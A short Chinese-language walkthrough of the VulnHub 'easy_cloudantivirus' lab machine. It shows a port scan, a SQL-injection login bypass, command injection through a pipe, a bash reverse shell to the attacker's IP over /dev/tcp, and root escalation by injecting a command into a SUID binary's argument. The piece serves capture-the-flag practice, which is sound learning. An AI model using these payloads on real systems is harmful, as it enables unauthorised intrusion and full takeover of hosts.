vulnhub:easy_cloudantivirus靶机

kali:192.168.111.111

靶机:192.168.111.177

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.177

image

访问8080端口

image

在输入框填入双引号发现报错

image

漏洞利用

万能密码

" or 1=1--+

image

配合管道符可以执行命令

ls | id

image

image

本地nc监听,反弹shell

nc -lvp 4444
id | bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'

image

提权

查找suid权限的文件

find / -user root -perm -u=s -exec ls -al {} \; 2> /dev/null

image

用户家目录存放该程序源码

image

同样配合管道符执行命令

/home/scanner/update_cloudav "-h | cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash"

image

到/tmp目录下执行bash,获得root权限

./bash -p

image

posted @ 2023-02-05 23:37  ctostm  阅读(33)  评论(0)    收藏  举报